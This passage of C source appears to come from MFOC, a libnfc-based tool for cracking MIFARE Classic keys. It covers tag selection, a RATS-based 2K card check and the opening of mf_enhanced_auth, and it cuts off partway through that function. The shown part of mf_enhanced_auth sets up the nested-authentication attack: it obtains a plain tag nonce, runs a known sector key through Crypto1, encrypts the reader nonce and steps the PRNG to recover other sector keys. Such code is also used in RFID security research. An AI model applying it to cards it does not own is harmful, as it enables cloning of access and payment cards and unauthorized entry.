exit(EXIT_FAILURE);
}
void mf_anticollision(mftag t, mfreader r)
{
if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) {
nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
ERR("Tag has been removed");
exit(EXIT_FAILURE);
}
}
bool
get_rats_is_2k(mftag t, mfreader r)
{
int res;
uint8_t abtRx[MAX_FRAME_LEN];
int szRxBits;
uint8_t abtRats[2] = { 0xe0, 0x50};
// Use raw send/receive methods
if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) {
nfc_perror(r.pdi, "nfc_configure");
return false;
}
res = nfc_initiator_transceive_bytes(r.pdi, abtRats, sizeof(abtRats), abtRx, sizeof(abtRx), 0);
if (res > 0) {
// ISO14443-4 card, turn RF field off/on to access ISO14443-3 again
if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, false) < 0) {
nfc_perror(r.pdi, "nfc_configure");
return false;
}
if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) {
nfc_perror(r.pdi, "nfc_configure");
return false;
}
}
// Reselect tag
if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) <= 0) {
printf("Error: tag disappeared\n");
nfc_close(r.pdi);
nfc_exit(context);
exit(EXIT_FAILURE);
}
if (res >= 10) {
printf("ATS %02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X\n", res, abtRx[0], abtRx[1], abtRx[2], abtRx[3], abtRx[4], abtRx[5], abtRx[6], abtRx[7], abtRx[8]);
return ((abtRx[5] == 0xc1) && (abtRx[6] == 0x05)
&& (abtRx[7] == 0x2f) && (abtRx[8] == 0x2f)
&& ((t.nt.nti.nai.abtAtqa[1] & 0x02) == 0x00));
} else {
return false;
}
}
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA)
{
struct Crypto1State *pcs;
struct Crypto1State *revstate;
struct Crypto1State *revstate_start;
uint64_t lfsr;
// Possible key counter, just continue with a previous "session"
uint32_t kcount = pk->size;
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t Rx[MAX_FRAME_LEN]; // Tag response
uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
int i;
uint32_t m;
// Prepare AUTH command
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
iso14443a_crc_append(Auth, 2);
// fprintf(stdout, "\nAuth command:\t");
// print_hex(Auth, 4);
// We need full control over the CRC
if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) {
nfc_perror(r.pdi, "nfc_device_set_property_bool crc");
exit(EXIT_FAILURE);
}
// Request plain tag-nonce
// TODO: Set NP_EASY_FRAMING option only once if possible
if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) {
nfc_perror(r.pdi, "nfc_device_set_property_bool framing");
exit(EXIT_FAILURE);
}
if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) {
fprintf(stdout, "Error while requesting plain tag-nonce\n");
exit(EXIT_FAILURE);
}
if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) {
nfc_perror(r.pdi, "nfc_device_set_property_bool");
exit(EXIT_FAILURE);
}
// print_hex(Rx, 4);
// Save the tag nonce (Nt)
Nt = bytes_to_num(Rx, 4);
// Init the cipher with key {0..47} bits
if (t.sectors[e_sector].foundKeyA) {
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
} else {
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
}
// Load (plain) uid^nt into the cipher {48..79} bits
crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0);
// Generate (encrypted) nr+parity by loading it into the cipher
for (i = 0; i < 4; i++) {
// Load in, and encrypt the reader nonce (Nr)
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
}
// Skip 32 bits in the pseudo random generator
Nt = prng_successor(Nt, 32);
// Generate reader-answer from tag-nonce